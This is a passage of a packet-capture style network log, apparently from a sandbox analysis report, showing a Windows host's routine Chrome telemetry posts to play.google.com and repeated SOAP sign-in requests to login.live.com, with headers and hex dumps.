2024-04-19 01:29:53 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-04-19 01:29:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49844	142.250.105.100	443	8152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:53 UTC	1321	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 521 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=CSbWbIUIJiVwRCWJW5w0-llvTcpKQxKeTBtMAG_A1r-Ke11UnCSiWvmA-ZZmVuAtTjhQoR-cuqyxOr8EsQzZ6XgOuuWXHCB5ATA7X6Of_FmCezhFNF6eox60e888AEMMCicnVFjL5u4Cgdc2u3lwj6G8e7HQXFts4EWtSxLH0N8
2024-04-19 01:29:53 UTC	521	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 31 33 34 39 30 31 39 32 31 30 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1713490192109",null,null,null
2024-04-19 01:29:53 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=513=Wn_CXjX-2VcI2iEH6-uf7IUePLFc4zBcZ5vvY-BWgQvpNRI2f83XMZSN8I8vpr_zVSnn2kuylSlPWe9bMQ9F7_ZSYiXZB3ejeKgovAjDWcyn1Rq4N3Q7gs6ZYzU-MpFJmgiei_3kV_Pkj1gTb1dtpR074N1k4RWBiyHeYX0t3hs; expires=Sat, 19-Oct-2024 01:29:53 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 19 Apr 2024 01:29:53 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 19 Apr 2024 01:29:53 GMT Connection: close Transfer-Encoding: chunked
2024-04-19 01:29:53 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-04-19 01:29:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49846	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:53 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 01:29:53 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:54 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:53 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C517_SN1 x-ms-request-id: e220db18-2be6-4d91-a722-1a3edbd85db4 PPServer: PPV: 30 H: SN1PEPF0002EFEE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:53 GMT Connection: close Content-Length: 11390
2024-04-19 01:29:54 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49847	142.250.105.100	443	8152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:54 UTC	1299	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1035 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=Wn_CXjX-2VcI2iEH6-uf7IUePLFc4zBcZ5vvY-BWgQvpNRI2f83XMZSN8I8vpr_zVSnn2kuylSlPWe9bMQ9F7_ZSYiXZB3ejeKgovAjDWcyn1Rq4N3Q7gs6ZYzU-MpFJmgiei_3kV_Pkj1gTb1dtpR074N1k4RWBiyHeYX0t3hs
2024-04-19 01:29:54 UTC	1035	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 62 6f 71 5f 69 64 65 6e 74 69 74 79 66 72 6f 6e 74 65 6e 64 61 75 74 68 75 69 73 65 72 76 65 72 5f 32 30 32 34 30 34 31 34 2e 30 38 5f 70 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"boq_identityfrontendauthuiserver_20240414.08_p0",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0
2024-04-19 01:29:54 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 19 Apr 2024 01:29:54 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-19 01:29:54 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-04-19 01:29:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49849	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 01:29:55 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C517_SN1 x-ms-request-id: 132f8987-4a20-426a-8b3f-ad7bb169bcc3 PPServer: PPV: 30 H: SN1PEPF0002F030 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:54 GMT Connection: close Content-Length: 11390
2024-04-19 01:29:55 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49852	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 01:29:55 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C517_SN1 x-ms-request-id: 94d47410-a5a4-4704-b59d-ecc5abcccd57 PPServer: PPV: 30 H: SN1PEPF0002F02B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:55 GMT Connection: close Content-Length: 11390
2024-04-19 01:29:56 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49855	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:56 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-19 01:29:56 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:57 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:57 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C517_SN1 x-ms-request-id: 6be07b22-f55d-4fe1-a790-b804e60b99d2 PPServer: PPV: 30 H: SN1PEPF0002FAB3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:56 GMT Connection: close Content-Length: 11390
2024-04-19 01:29:57 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

